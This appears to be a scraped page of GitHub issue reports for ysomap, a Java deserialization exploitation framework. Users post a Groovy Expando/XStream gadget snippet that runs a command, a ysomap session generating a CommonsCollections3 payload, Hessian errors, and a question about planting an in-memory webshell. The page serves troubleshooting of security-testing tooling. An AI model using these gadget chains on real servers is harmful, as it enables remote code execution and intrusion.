wh1t3p1g / ysomap Goto Github PK

进行批量目标的漏洞验证或者利用, 当然, 爆破也是可以的.

Example:

java -jar ysomap.jar <exploit> [<payload>] [<bullets>] var1=vul1 var2=vul2 var3=vull3

我个人根据你的blog复现https://blog.0kami.cn/2020/04/18/java/talk-about-xstream-deserialization/ Groovy Expando这个方式的时候自己写的代码是这样的MethodClosure methodClosure=new MethodClosure("Calc.exe","execute");
Expando expando=new Expando();
expando.setProperty("hashCode",methodClosure);

    HashMap map=new HashMap();
    map.put("test",expando);
    Field key=Class.forName("java.util.HashMap$Node").getDeclaredField("key");
    key.setAccessible(true);
    key.set(map,expando);
    XStream xStream=new XStream();
    String xml=xStream.toXML(map);
    System.out.println(xml);
    xStream.fromXML(xml);
    我发现这个key是无法修改的因为是final类型，但是我发现如果put的时候直接放入expando对象的化会提前触发命令执行，这里我无法解决这个问题看了看你这个项目里的代码我不明白你的makemap 方法为何要如此处理

你好，在使用payload(ImageIO) bullet(JdbcRowSetImplBullet)时报错如下

java版本
openjdk version "1.8.0_342"
OpenJDK Runtime Environment (build 1.8.0_342-8u342-b07-0ubuntu1~20.04-b07)
OpenJDK 64-Bit Server VM (build 25.342-b07, mixed mode)

fastjson不出网 可以用BCEL执行命令回显，不是tomcat环境，怎么注入一个内存马

When using several of the Hessian deserialisation payloads against a hessian endpoint, the tomcat server responds with the following stack trace:

java.lang.ClassCastException: com.sun.org.apache.xpath.internal.objects.XString cannot be cast to java.lang.String
	javax.naming.ldap.Rdn$RdnEntry.getValueComparable(Rdn.java:481)
	javax.naming.ldap.Rdn$RdnEntry.compareTo(Rdn.java:444)
	javax.naming.ldap.Rdn$RdnEntry.compareTo(Rdn.java:420)
	java.util.TreeMap.put(TreeMap.java:568)
	java.util.TreeSet.add(TreeSet.java:255)
	com.caucho.hessian.io.CollectionDeserializer.readList(CollectionDeserializer.java:78)
	com.caucho.hessian.io.SerializerFactory.readList(SerializerFactory.java:341)
	com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:1945)
	com.caucho.hessian.server.HessianSkeleton.invoke(HessianSkeleton.java:131)
	com.caucho.hessian.server.HessianSkeleton.invoke(HessianSkeleton.java:109)
	com.caucho.hessian.server.HessianServlet.service(HessianServlet.java:396)
	org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)

ysomap > use payload CommonsCollections3

You can choose bullets: [TransformerBullet, TransformerWithJNDIBullet, TransformerWithSleepBullet, TransformerWithURLClassLoaderBullet, TransformerWithFileWriteBullet]

ysomap payload(CommonsCollections3) > use bullet TransformerBullet
ysomap payload(CommonsCollections3) bullet(TransformerBullet) > set command whoami
ysomap payload(CommonsCollections3) bullet(TransformerBullet) > run

[+] generate CommonsCollections3 success, plz seepayload.CommonsCollections3.TransformerBullet.ser
[+] generate payload(CommonsCollections3) started!

Bullet Type Not Match; Error TYPE: class [Lorg.apache.commons.collections.Transformer;

使用TransformerWithSleepBullet 和 TransformerBullet 都是提示错误 “Bullet Type Not Match”

My account was compromised, as a result many spam issues got created across multiple repos. I am deleting all such issues. Please check my tweet: https://x.com/arghyac35/status/1729721954909684064?s=20

生成ser的过程也没有填key(⊙o⊙)？

应该怎么操作呢。
一阵子有点想不过来0.0

not set require options cause first run attempt failed.
exploit status is ysomap.common.util.Status.RUNNING and not been resetted cause next attempt be trapped in infinite loop

ReflectionHelper.newInstance("javax.swing.MultiUIDefaults", new Object[0]);执行错误，貌似改函数仅能获取第一个构造函数的。

ysomap-master/core/src/main/java/ysomap/exploits/shiro/ShiroRCE1.java中150行附近
byte[] keyBytes = Strings.base64(key.getBytes());

应该是将key字符串byte后进行base64解码，而单调用的ysomap-master/common/src/main/java/ysomap/common/util/Strings.java中59行附近是base64编码。
public static byte[] base64(byte[] data){
Base64 base64 = new Base64();
return base64.encode(data);
}
导致该ShiroRCE1 exploit失效。

because EvilFileWrapper.getSerializer return null and session.printSessionDetails at line 197 not check

使用原本的ysoserial.exploit.JRMPListener启动，run后报错，使用CommonsCollections1、CommonsCollections3、CommonsCollections7都报错：

我的同学在 Mac 上面没编译成功，但是在我的 Win 上面成功了，jar 包拷过去也可以正常使用
开发者大大不如下次直接在 Release 标签里面放一个编译好的 jar 包？